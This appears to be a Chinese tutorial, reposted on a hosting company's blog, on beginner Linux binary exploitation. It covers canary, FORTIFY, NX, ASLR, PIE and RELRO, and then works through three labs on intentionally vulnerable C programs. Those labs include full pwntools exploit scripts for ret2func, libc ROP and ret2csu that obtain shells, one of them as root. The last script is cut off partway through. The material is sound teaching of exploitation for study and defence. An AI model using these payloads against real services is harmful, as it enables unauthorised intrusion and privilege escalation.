中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Linux pwn入門知識點有哪些

發布時間:2021-11-30 09:56:24 來源:億速云 閱讀:229 作者:iii 欄目:安全技術

本篇內容介紹了“Linux pwn入門知識點有哪些”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!

PWN是一個黑客語法的俚語詞,自"own"這個字引申出來的,意為玩家在整個游戲對戰中處在勝利的優勢。 

linux程序的常用保護機制

先來學習一些關于linux方面的保護措施,操作系統提供了許多安全機制來嘗試降低或阻止緩沖區溢出攻擊帶來的安全風險,包括DEP、ASLR等。從checksec入手來學習linux的保護措施。checksec可以檢查可執行文件各種安全屬性,包括Arch,RELRO,Stack,NX,PIE等。

pip安裝pwntools后自帶checksec檢查elf文件.

checksec xxxx.so
Arch:     aarch74-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
brew install binutils
  • 另外筆者操作系統為macOS,一些常用的linux命令如readelf需要另外brew install binutils安裝

wget https://github.com/slimm609/checksec.sh/archive/2.1.0.tar.gz
tar xvf 2.1.0.tar.gz
./checksec.sh-2.1.0/checksec --file=xxx

Linux pwn入門知識點有哪些

  • gdb里peda插件里自帶的checksec功能

gdb level4  //加載目標程序
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

CANNARY金絲雀(棧保護)/Stack protect/棧溢出保護

棧溢出保護是一種緩沖區溢出攻擊緩解手段,當函數存在緩沖區溢出攻擊漏洞時,攻擊者可以覆蓋棧上的返回地址來讓shellcode能夠得到執行。當啟用棧保護后,函數開始執行的時候會先往棧里插入cookie信息,當函數真正返回的時候會驗證cookie信息是否合法,如果不合法就停止程序運行。攻擊者在覆蓋返回地址的時候往往也會將cookie信息給覆蓋掉,導致棧保護檢查失敗而阻止shellcode的執行。在Linux中我們將cookie信息稱為canary/金絲雀。 gcc在4.2版本中添加了-fstack-protector和-fstack-protector-all編譯參數以支持棧保護功能,4.9新增了-fstack-protector-strong編譯參數讓保護的范圍更廣。

開啟命令如下:

gcc -o test test.c                       // 默認情況下,開啟Canary保護
gcc -fno-stack-protector  -o test test.c //禁用棧保護
gcc -fstack-protector     -o test test.c //啟用堆棧保護,不過只為局部變量中含有 char 數組的函數插入保護代碼
gcc -fstack-protector-all -o test test.c //啟用堆棧保護,為所有函數插入保護代碼

FORTIFY/輕微的檢查

fority其實非常輕微的檢查,用于檢查是否存在緩沖區溢出的錯誤。適用情形是程序采用大量的字符串或者內存操作函數,如memcpy,memset,strcpy,strncpy,strcat,strncat,sprintf,snprintf,vsprintf,vsnprintf,gets以及寬字符的變體。 FORTIFY_SOURCE設為1,并且將編譯器設置為優化1(gcc -O1),以及出現上述情形,那么程序編譯時就會進行檢查但又不會改變程序功能 開啟命令如下:

gcc -o test test.c                    // 默認情況下,不會開這個檢查
gcc -D_FORTIFY_SOURCE=1 -o test test.c // 較弱的檢查
gcc -D_FORTIFY_SOURCE=1 僅僅只會在編譯時進行檢查 (特別像某些頭文件 #include <string.h>)
_FORTIFY_SOURCE設為1,并且將編譯器設置為優化1(gcc -O1),以及出現上述情形,那么程序編譯時就會進行檢查但又不會改變程序功能

gcc -D_FORTIFY_SOURCE=2 -o test test.c // 較強的檢查
gcc -D_FORTIFY_SOURCE=2 程序執行時也會有檢查 (如果檢查到緩沖區溢出,就終止程序)
_FORTIFY_SOURCE設為2,有些檢查功能會加入,但是這可能導致程序崩潰。

看編譯后的二進制匯編我們可以看到gcc生成了一些附加代碼,通過對數組大小的判斷替換strcpy, memcpy, memset等函數名,達到防止緩沖區溢出的作用。

NX/DEP/數據執行保護

數據執行保護(DEP)(Data Execution Prevention) 是一套軟硬件技術,能夠在內存上執行額外檢查以幫助防止在系統上運行惡意代碼。在 Microsoft Windows XP Service Pack 2及以上版本的Windows中,由硬件和軟件一起強制實施 DEP。 支持 DEP 的 CPU 利用一種叫做NX(No eXecute) 不執行”的技術識別標記出來的區域。如果發現當前執行的代碼沒有明確標記為可執行(例如程序執行后由病毒溢出到代碼執行區的那部分代碼),則禁止其執行,那么利用溢出攻擊的病毒或網絡攻擊就無法利用溢出進行破壞了。如果 CPU 不支持 DEP,Windows 會以軟件方式模擬出 DEP 的部分功能。 NX即No-eXecute(不可執行)的意思,NX(DEP)的基本原理是將數據所在內存頁標識為不可執行,當程序溢出成功轉入shellcode時,程序會嘗試在數據頁面上執行指令,此時CPU就會拋出異常,而不是去執行惡意指令。

開啟命令如下:

gcc -o test test.c // 默認情況下,開啟NX保護
gcc -z execstack -o test test.c // 禁用NX保護
gcc -z noexecstack -o test test.c // 開啟NX保護

在Windows下,類似的概念為DEP(數據執行保護),在最新版的Visual Studio中默認開啟了DEP編譯選項。

ASLR (Address space layout randomization)

ASLR是一種針對緩沖區溢出的安全保護技術,通過對堆、棧、共享庫映射等線性區布局的隨機化,通過增加攻擊者預測目的地址的難度,防止攻擊者直接定位攻擊代碼位置,達到阻止溢出攻擊的目的。如今Linux、FreeBSD、Windows等主流操作系統都已采用了該技術。此技術需要操作系統和軟件相配合。ASLR在linux中使用此技術后,殺死某程序后重新開啟,地址就會會改變

在Linux上 關閉ASLR,切換至root用戶,輸入命令

echo 0 > /proc/sys/kernel/randomize_va_space

開啟ASLR,切換至root用戶,輸入命令

echo 2 > /proc/sys/kernel/randomize_va_space

上面的序號代表意思如下:

0 - 表示關閉進程地址空間隨機化。

1 - 表示將mmap的基址,stack和vdso頁面隨機化。

2 - 表示在1的基礎上增加棧(heap)的隨機化。

可以防范基于Ret2libc方式的針對DEP的攻擊。ASLR和DEP配合使用,能有效阻止攻擊者在堆棧上運行惡意代碼。

PIE和PIC

PIE最早由RedHat的人實現,他在連接起上增加了-pie選項,這樣使用-fPIE編譯的對象就能通過連接器得到位置無關可執行程序。fPIE和fPIC有些不同。 -fPIC與-fpic都是在編譯時加入的選項,用于生成位置無關的代碼(Position-Independent-Code)。這兩個選項都是可以使代碼在加載到內存時使用相對地址,所有對固定地址的訪問都通過全局偏移表(GOT)來實現。-fPIC和-fpic最大的區別在于是否對GOT的大小有限制。-fPIC對GOT表大小無限制,所以如果在不確定的情況下,使用-fPIC是更好的選擇。 -fPIE與-fpie是等價的。這個選項與-fPIC/-fpic大致相同,不同點在于:-fPIC用于生成動態庫,-fPIE用與生成可執行文件。再說得直白一點:-fPIE用來生成位置無關的可執行代碼。

PIE和ASLR不是一樣的作用,ASLR只能對堆、棧,libc和mmap隨機化,而不能對如代碼段,數據段隨機化,使用PIE+ASLR則可以對代碼段和數據段隨機化。 區別是ASLR是系統功能選項,PIE和PIC是編譯器功能選項。 聯系點在于在開啟ASLR之后,PIE才會生效。

開啟命令如下:

gcc -o test test.c				 // 默認情況下,不開啟PIE
gcc -fpie -pie -o test test.c	 // 開啟PIE,此時強度為1
gcc -fPIE -pie -o test test.c	 // 開啟PIE,此時為最高強度2
gcc -fpic -o test test.c		 // 開啟PIC,此時強度為1,不會開啟PIE
gcc -fPIC -o test test.c		 // 開啟PIC,此時為最高強度2,不會開啟PIE

RELRO(read only relocation)

在很多時候利用漏洞時可以寫的內存區域通常是黑客攻擊的目標,尤其是存儲函數指針的區域。 而動態鏈接的ELF二進制文件使用稱為全局偏移表(GOT)的查找表來動態解析共享庫中的函數,GOT就成為了黑客關注的目標之一,

GCC, GNU linker以及Glibc-dynamic linker一起配合實現了一種叫做relro的技術: read only relocation。大概實現就是由linker指定binary的一塊經過dynamic linker處理過 relocation之后的區域,GOT為只讀.設置符號重定向表為只讀或在程序啟動時就解析并綁定所有動態符號,從而減少對GOT(Global Offset Table)攻擊。如果RELRO為 "Partial RELRO",說明我們對GOT表具有寫權限。

開啟命令如下:

gcc -o test test.c              // 默認情況下,是Partial RELRO
gcc -z norelro -o test test.c   // 關閉,即No RELRO
gcc -z lazy -o test test.c      // 部分開啟,即Partial RELRO
gcc -z now -o test test.c       // 全部開啟

開啟FullRELRO后寫利用時就不能復寫got表。

pwn工具常見整合

pwntools

pwntools是一個二進制利用框架,網上關于pwntools的用法教程很多,學好pwntools對于做漏洞的利用和理解漏洞有很好的幫助。可以利用pwntools庫開發基于python的漏洞利用腳本。

pycharm

pycharm可以實時調試和編寫攻擊腳本,提高了寫利用的效率。

在遠程主機上執行

socat TCP4-LISTEN:10001,fork EXEC:./linux_x64_test1

用pycharm工具開發pwn代碼,遠程連接程序進行pwn測試。 需要設置環境變量 TERM=linux;TERMINFO=/etc/terminfo,并勾選 Emulate terminal in output coonsooleLinux pwn入門知識點有哪些然后pwntools的python腳本使用遠程連接

p = remote('172.16.36.176', 10001)

ida

...
raw_input() # for debug
...
p.interactive()

當pwntools開發的python腳本暫停時,遠程ida可以附加查看信息

gdb附加

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import pwn
...
# Get PID(s) of target. The returned PID(s) depends on the type of target:
m_pid=pwn.proc.pidof(p)[0]
print("attach %d" % m_pid)
pwn.gdb.attach(m_pid) # 鏈接gdb調試,先在gdb界面按下n下一步返回python控制臺enter繼續(兩窗口同步)

print("\n##########sending payload##########\n")
p.send(payload)

pwn.pause()
p.interactive()

gdb插件枚舉

1)PEDA - Python Exploit Development Assistance for GDB(https://github.com/longld/peda) 可以很清晰的查看到堆棧信息,寄存器和反匯編信息 git clone https://github.com/longld/peda.git~/panda/peda echo "source ~/panda/peda/peda.py" >> ~/.gdbinit

2)GDB Enhanced Features(https://github.com/hugsy/gef) peda的增強版,因為它支持更多的架構(ARM, MIPS, POWERPC…),和更加強大的模塊,并且和ida聯動。

3)libheap(查看堆信息) pip3 install libheap --verbose

EDB附加

EDB 是一個可視化的跨平臺調試器,跟win上的Ollydbg很像。

lldb插件

voltron & lisa。一個擁有舒服的ui界面,一個簡潔但又擁有實用功能的插件。

voltron配合tmux會產生很好的效果,如下:

Linux pwn入門知識點有哪些

實踐

通過幾個例子來了解常見的幾種保護手段和熟悉常見的攻擊手法。 實踐平臺 ubuntu 14.16_x64

實踐1棧溢出利用溢出改變程序走向

編譯測試用例
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void callsystem()
{ system("/bin/sh"); }
void vulnerable_function() {
	char buf[128];
	read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
	write(STDOUT_FILENO, "Hello, World\n", 13);
// /dev/stdin    fd/0
// /dev/stdout   fd/1
// /dev/stderr   fd/2
	vulnerable_function();
}

編譯方法:

#!bash
gcc -fno-stack-protector linux_x64_test1.c -o linux_x64_test1 -ldl //禁用棧保護

檢測如下:

gdb-peda$ checksec linux_x64_test1
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

發現沒有棧保護,沒有CANARY保護

生成構造的數據

這里用到一個腳本pattern.py來生成隨機數據,來自這里

python2 pattern.py create 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
獲取到溢出偏移

用lldb進行調試

panda@ubuntu:~/Desktop/test$ lldb linux_x64_test1
(lldb) target create "linux_x64_test1"
Current executable set to 'linux_x64_test1' (x86_64).
(lldb) run
Process 117360 launched: '/home/panda/Desktop/test/linux_x64_test1' (x86_64)
Hello, World
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Process 117360 stopped
* thread #1: tid = 117360, 0x00000000004005e7 linux_x64_test1`vulnerable_function + 32, name = 'linux_x64_test1', stop reason = signal SIGSEGV: invalid address (fault address: 0x0)
    frame #0: 0x00000000004005e7 linux_x64_test1`vulnerable_function + 32
linux_x64_test1`vulnerable_function:
->  0x4005e7 <+32>: retq

linux_x64_test1`main:
    0x4005e8 <+0>:  pushq  %rbp
    0x4005e9 <+1>:  movq   %rsp, %rbp
    0x4005ec <+4>:  subq   $0x10, %rsp
(lldb) x/xg $rsp
0x7fffffffdd58: 0x3765413665413565

python2 pattern.py offset 0x3765413665413565
hex pattern decoded as: e5Ae6Ae7
136

發現 溢出字符串長度為 136+ret_address

獲取 callsystem 函數地址

因為代碼中存在輔助函數callsystem,直接獲取地址

panda@ubuntu:~/Desktop/test$ nm linux_x64_test1|grep call
00000000004005b6 T callsystem
編寫并測試利用_提權

pwntools是一個二進制利用框架,可以用python編寫一些利用腳本,方便達到利用漏洞的目的,當然也可以用其他手段。

import pwn

# p = pwn.process("./linux_x64_test1")
p = remote('172.16.36.174', 10002)
callsystem_address = 0x00000000004005b6
payload="A"*136 + pwn.p64(callsystem_address)

p.send(payload)
p.interactive()

測試利用拿到shell

panda@ubuntu:~/Desktop/test$ python test.py 
[+] Starting local process './linux_x64_test1': pid 117455
[*] Switching to interactive mode
Hello, World
$ whoami
panda

將二進制程序設置為服務端程序,后續文章不再說明

socat TCP4-LISTEN:10001,fork EXEC:./linux_x64_test1

測試遠程程序

panda@ubuntu:~/Desktop/test$ python test2.py 
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
Hello, World
$ whoami
panda

如果這個進程是root

sudo socat TCP4-LISTEN:10001,fork EXEC:./linux_x64_test1

測試遠程程序,提權成功

panda@ubuntu:~/Desktop/test$ python test.py 
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
Hello, World
$ whoami
root

實踐2棧溢出通過ROP繞過DEP和ASLR防護

編譯測試用例

開啟ASLR后,libc地址會不斷變化,這里先不討論怎么獲取真實system地址,用了一個輔助函數打印system地址。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
    void* handle = dlopen("libc.so.6", RTLD_LAZY);
    printf("%p\n",dlsym(handle,"system"));
    fflush(stdout);
}
void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
    systemaddr();
    write(1, "Hello, World\n", 13);
    vulnerable_function();
}

編譯方法:

#!bash
gcc -fno-stack-protector linux_x64_test2.c -o linux_x64_test2 -ldl //禁用棧保護

檢測如下:

gdb-peda$ checksec linux_x64_test2
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

觀察ASLR,運行兩次,發現每次libc的system函數地址會變化,

panda@ubuntu:~/Desktop/test$ ./linux_x64_test2 
0x7f9d7d71a390
Hello, World

panda@ubuntu:~/Desktop/test$ ./linux_x64_test2 
0x7fa84dc3d390
Hello, World
ROP簡介

ROP的全稱為Return-oriented programming(返回導向編程),是一種高級的內存攻擊技術可以用來繞過現代操作系統的各種通用防御(比如內存不可執行DEP和代碼簽名等)

尋找ROP

我們希望最后執行system("/bin/sh"),緩沖區溢出后傳入"/bin/sh"的地址和函數system地址。 我們想要的x64的gadget一般如下:

pop rdi  // rdi="/bin/sh"
ret      // call system_addr

pop rdi  // rdi="/bin/sh"
pop rax  // rax= system_addr
call rax // call system_addr

系統開啟了aslr,只能通過相對偏移來計算gadget,在二進制中搜索,這里用到工具ROPgadget

panda@ubuntu:~/Desktop/test$ ROPgadget --binary linux_x64_test2 --only "pop|sret"
Gadgets information
============================================================

Unique gadgets found: 0

獲取二進制的鏈接

panda@ubuntu:~/Desktop/test$ ldd linux_x64_test2
	linux-vdso.so.1 =>  (0x00007ffeae9ec000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fdc0531f000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdc04f55000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fdc05523000)

在庫中搜索 pop ret

panda@ubuntu:~/Desktop/test$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" |grep rdi
0x0000000000020256 : pop rdi ; pop rbp ; ret
0x0000000000021102 : pop rdi ; ret

決定用 0x0000000000021102

在庫中搜索 /bin/sh 字符串

panda@ubuntu:~/Desktop/test$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --string "/bin/sh"
Strings information
============================================================
0x000000000018cd57 : /bin/sh
構造利用并測試

這里實現兩種gadgets 實現利用目的,分別是version1和version2

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import pwn

libc = pwn.ELF("./libc.so.6")
# p = pwn.process("./linux_x64_test2")
p = pwn.remote("127.0.0.1",10001)

systema_addr_str = p.recvuntil("\n")
systema_addr = int(systema_addr_str,16)  # now system addr

binsh_static = 0x000000000018cd57
binsh3_static = next(libc.search("/bin/sh"))

print("binsh_static   = 0x%x" % binsh_static)
print("binsh3_static  = 0x%x" % binsh3_static)


binsh_offset = binsh3_static - libc.symbols["system"] # offset = static1 - static2
print("binsh_offset   = 0x%x" % binsh_offset)

binsh_addr = binsh_offset + systema_addr
print("binsh_addr     = 0x%x" % binsh_addr)


# version1
# pop_ret_static = 0x0000000000021102 # pop rdi ; ret

# pop_ret_offset = pop_ret_static - libc.symbols["system"]
# print("pop_ret_offset = 0x%x" % pop_ret_offset)

# pop_ret_addr = pop_ret_offset + systema_addr
# print("pop_ret_addr   = 0x%x" % pop_ret_addr)

# payload="A"*136 +pwn.p64(pop_ret_addr)+pwn.p64(binsh_addr)+pwn.p64(systema_addr)
# binsh_addr      低   x64 第一個參數是rdi
# systema_addr    高

# version2
pop_pop_call_static = 0x0000000000107419 #  pop rax ; pop rdi ; call rax
pop_pop_call_offset = pop_pop_call_static - libc.symbols["system"]
print("pop_pop_call_offset = 0x%x" % pop_pop_call_offset)

pop_pop_call_addr = pop_pop_call_offset + systema_addr
print("pop_pop_call_addr    = 0x%x" % pop_pop_call_addr)

payload="A"*136 +pwn.p64(pop_pop_call_addr)+pwn.p64(systema_addr)+pwn.p64(binsh_addr)
# systema_addr      低   pop rax
# binsh_addr        高   pop rdi

print("\n##########sending payload##########\n")
p.send(payload)
p.interactive()

最后測試如下:

panda@ubuntu:~/Desktop/test$ python test2.py 
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './linux_x64_test2': pid 118889
binsh_static   = 0x18cd57
binsh3_static  = 0x18cd57
binsh_offset   = 0x1479c7
binsh_addr     = 0x7fc3018ffd57
pop_ret_offset = 0x-2428e
pop_ret_addr   = 0x7fc301794102

##########sending payload##########
[*] Switching to interactive mode
Hello, World
$ whoami
panda

實踐3棧溢出去掉輔助函數

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

編譯方法:

gcc -fno-stack-protector linux_x64_test3.c -o linux_x64_test3 -ldl //禁用棧保護

檢查防護

gdb-peda$ checksec linux_x64_test3
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ quit
.bss段

相關概念:堆(heap),棧(stack),BSS段,數據段(data),代碼段(code /text),全局靜態區,文字常量區,程序代碼區。

BSS段:BSS段(bss segment)通常是指用來存放程序中未初始化的全局變量的一塊內存區域。

數據段:數據段(data segment)通常是指用來存放程序中已初始化的全局變量的一塊內存區域。

代碼段:代碼段(code segment/text segment)通常是指用來存放程序執行代碼的一塊內存區域。這部分區域的大小在程序運行前就已經確定,并且內存區域通常屬于只讀, 某些架構也允許代碼段為可寫,即允許修改程序。在代碼段中,也有可能包含一些只讀的常數變量,例如字符串常量等。

堆(heap):堆是用于存放進程運行中被動態分配的內存段,它的大小并不固定,可動態擴張或縮減。當進程調用malloc等函數分配內存時,新分配的內存就被動態添加到堆上(堆被擴張);當利用free等函數釋放內存時,被釋放的內存從堆中被剔除(堆被縮減)。

棧(stack):棧又稱堆棧,用戶存放程序臨時創建的局部變量。在函數被調用時,其參數也會被壓入發起調用的進程棧中,并且待到調用結束后,函數的返回值也會被存放回棧中。由于棧的后進先出特點,所以棧特別方便用來保存/恢復調用現場。

程序的.bss段中。.bss段是用來保存全局變量的值的,地址固定,并且可以讀可寫。

NameTypeAddrOffSizeESFlgLkInfAl
名字類型起始地址文件的偏移地址區大小表區的大小區標志相關區索引其他區信息對齊字節數
panda@ubuntu:~/Desktop/test$ readelf -S linux_x64_test3
There are 31 section headers, starting at offset 0x1a48:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [24] .got.plt          PROGBITS         0000000000601000  00001000
       0000000000000030  0000000000000008  WA       0     0     8
  [25] .data             PROGBITS         0000000000601030  00001030
       0000000000000010  0000000000000000  WA       0     0     8
  [26] .bss              NOBITS           0000000000601040  00001040
       0000000000000008  0000000000000000  WA       0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
尋找合適的gadget
panda@ubuntu:~/Desktop/test$ objdump -d linux_x64_test3
00000000004005c0 <__libc_csu_init>:
  4005c0:	41 57                	push   %r15
  4005c2:	41 56                	push   %r14
  4005c4:	41 89 ff             	mov    %edi,%r15d
  4005c7:	41 55                	push   %r13
  4005c9:	41 54                	push   %r12
  4005cb:	4c 8d 25 3e 08 20 00 	lea    0x20083e(%rip),%r12        # 600e10 <__frame_dummy_init_array_entry>
  4005d2:	55                   	push   %rbp
  4005d3:	48 8d 2d 3e 08 20 00 	lea    0x20083e(%rip),%rbp        # 600e18 <__init_array_end>
  4005da:	53                   	push   %rbx
  4005db:	49 89 f6             	mov    %rsi,%r14
  4005de:	49 89 d5             	mov    %rdx,%r13
  4005e1:	4c 29 e5             	sub    %r12,%rbp
  4005e4:	48 83 ec 08          	sub    $0x8,%rsp
  4005e8:	48 c1 fd 03          	sar    $0x3,%rbp
  4005ec:	e8 0f fe ff ff       	callq  400400 <_init>
  4005f1:	48 85 ed             	test   %rbp,%rbp
  4005f4:	74 20                	je     400616 <__libc_csu_init+0x56>
  4005f6:	31 db                	xor    %ebx,%ebx
  4005f8:	0f 1f 84 00 00 00 00 	nopl   0x0(%rax,%rax,1)
  4005ff:	00 
  
  400600:	4c 89 ea             	mov    %r13,%rdx
  400603:	4c 89 f6             	mov    %r14,%rsi
  400606:	44 89 ff             	mov    %r15d,%edi
  400609:	41 ff 14 dc          	callq  *(%r12,%rbx,8)
  40060d:	48 83 c3 01          	add    $0x1,%rbx
  400611:	48 39 eb             	cmp    %rbp,%rbx
  400614:	75 ea                	jne    400600 <__libc_csu_init+0x40>
  400616:	48 83 c4 08          	add    $0x8,%rsp
  
  40061a:	5b                   	pop    %rbx
  40061b:	5d                   	pop    %rbp
  40061c:	41 5c                	pop    %r12
  40061e:	41 5d                	pop    %r13
  400620:	41 5e                	pop    %r14
  400622:	41 5f                	pop    %r15
  400624:	c3                   	retq   
  400625:	90                   	nop
  400626:	66 2e 0f 1f 84 00 00 	nopw   %cs:0x0(%rax,%rax,1)
  40062d:	00 00 00

程序自己的 __libc_csu_init 函數,沒開PIE.

疑問:

  1. 這里可以直接write出got_system嗎? 既然都得到got_write這個是靜態地址,還能去調用,難道got表函數隨便調用不變? got_system 存儲了實際的 libc-2.23.so!write 地址,所以去執行 got_system 然后打印出實際地址Linux pwn入門知識點有哪些

  2. 為什么不傳遞 "/bin/sh"的字符串地址到最后調用的system("/bin/sh"),而是將"/bin/sh"寫入 bss段 因為這里rdi=r15d=param1 r15d 32-bit 所以不能傳遞給rdi 64-bit的 "/bin/sh" 字符串地址,所以必須寫入到可寫bss段,因為程序段就32-bit

00007f76:f3c0bd57|2f 62 69 6e 2f 73 68 00 65                     |/bin/sh.e       |
// /dev/stdin    fd/0
// /dev/stdout   fd/1
// /dev/stderr   fd/2

總結:

返回到 0x40061a 控制rbx,rbp,r12,r13,r14,r15

返回到 0x400600 執行rdx=r13 rsi=r14 rdi=r15d call callq  *(%r12,%rbx,8)

使 rbx=0 這樣最后就可以callq *(r12+rbx*8)=callq *(r12)可以構造rop使之能執行任意函數

需要泄露真實 libc.so 在內存中的地址才能拿到system_addr,才能getshell,那么返回調用got_write(rdi=1,rsi=got_write,rdx=8),從服務端返回write_addr,通過write_addr減去 - write_static/libc.symbols['write']和system_static/libc.symbols['system'] 的差值得到 system_addr,然后返回到main重新開始,但并沒有結束進程

返回調用got_read(rdi=0,bss_addr,16),相當于執行got_read(rdi=0,bss_addr,8),got_read(rdi=0,bss_addr+8,8),發送 system_addr,"/bin/sh",然后返回到main重新開始,但并沒有結束進程

返回到bss_addr(bss_addr+8) -> system_addr(binsh_addr)

開始構造ROP

查看got表

panda@ubuntu:~/Desktop/test$ objdump -R linux_x64_test3

linux_x64_test3:     file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE 
0000000000600ff8 R_X86_64_GLOB_DAT  __gmon_start__
0000000000601018 R_X86_64_JUMP_SLOT  write@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT  read@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT  __libc_start_main@GLIBC_2.2.5

然后利用代碼如下:

#!/usr/bin/python
# -*- coding: UTF-8 -*-

from pwn import *

libc_elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
linux_x64_test3_elf = ELF("./linux_x64_test3")

# p = process("./linux_x64_test3")
p = remote("127.0.0.1",10001)

pop_rbx_rbp_r12_r13_r14_r15_ret = 0x40061a
print("[+] pop_rbx_rbp_r12_r13_r14_r15_ret = 0x%x" % pop_rbx_rbp_r12_r13_r14_r15_ret)
rdx_rsi_rdi_callr12_ret = 0x400600
print("[+] rdx_rsi_rdi_callr12_ret = 0x%x" %  rdx_rsi_rdi_callr12_ret)

"""
0000000000601018 R_X86_64_JUMP_SLOT  write@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT  read@GLIBC_2.2.5
"""
got_write =0x0000000000601018
print("[+] got_write = 0x%x" % got_write)

got_write2=linux_x64_test3_elf.got["write"]
print("[+] got_write2 = 0x%x" %  got_write2)

got_read = 0x0000000000601020
got_read2=linux_x64_test3_elf.got["read"]

"""
0000000000400587 <main>:
  400587:	55                   	push   %rbp
"""
main_static = 0x0000000000400587

# call got_write(rdi=1,rsi=got_write, rdx=8)
# rdi=r15d=param1  rsi=r14=param2 rdx=r13=param3  r12=call_address
payload1 ="A"*136 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) # ret address  : p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
payload1 += p64(0)+ p64(1)                               # rbx=0 rbp=1  : p64(0)+ p64(1)
payload1 += p64(got_write)                               # call_address : got_write
payload1 += p64(8)                                       # param3       : 8
payload1 += p64(got_write)                               # param2       : got_write
payload1 += p64(1)                                       # param1       : 1

payload1 += p64(rdx_rsi_rdi_callr12_ret)                 # call r12
payload1 += p64(0)*7                                     # add    $0x8,%rsp # 6 pop
payload1 += p64(main_static)                             # return main

p.recvuntil('Hello, World\n')

print("[+] send payload1 call got_write(rdi=1,rsi=got_write, rdx=8)")
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print("[+] write_addr = 0x%x" % write_addr)

write_static = libc_elf.symbols['write']
system_static = libc_elf.symbols['system']

system_addr = write_addr - (write_static - system_static)
print("[+] system_addr = 0x%x" % system_addr)

"""
  [26] .bss              NOBITS           0000000000601040  00001040
       0000000000000008  0000000000000000  WA       0     0     1
"""
bss_addr = 0x0000000000601040
bss_addr2 = linux_x64_test3_elf.bss()
print("[+] bss_addr  = 0x%x" % bss_addr)
print("[+] bss_addr2 = 0x%x" % bss_addr2)

# call got_read(rdi=0,rsi=bss_addr, rdx=16)
# got_read(rdi=0,rsi=bss_addr, rdx=8)             write system
# got_read(rdi=0,rsi=bss_addr+8, rdx=8)           write /bin/sh
# rdi=r15d=param1  rsi=r14=param2 rdx=r13=param3  r12=call_address

payload2 = "A"*136 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret)    # ret address  : p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
payload2 += p64(0)+ p64(1)                                   # rbx=0 rbp=1  : p64(0)+ p64(1)
payload2 += p64(got_read)                                    # call_address : got_read
payload2 += p64(16)                                          # param3       : 16
payload2 += p64(bss_addr)                                    # param2       : bss_addr
payload2 += p64(0)                                           # param1       : 0

payload2 += p64(rdx_rsi_rdi_callr12_ret)                     # call r12
payload2 += p64(0)*7                                         # add    $0x8,%rsp   6 pop
payload2 += p64(main_static)

p.recvuntil('Hello, World\n')

print("[+] send payload2 call got_read(rdi=0,rsi=bss_addr, rdx=16)")

# raw_input()
p.send(payload2)
# raw_input()

p.send(p64(system_addr) + "/bin/sh\0")  #send /bin/sh\0
"""
00000000:00601040|00007f111b941390|........|
00000000:00601048|0068732f6e69622f|/bin/sh.|
"""
sleep(1)
p.recvuntil('Hello, World\n')


# call bss_addr(rdi=bss_addr+8) system_addr(rdi=binsh_addr)
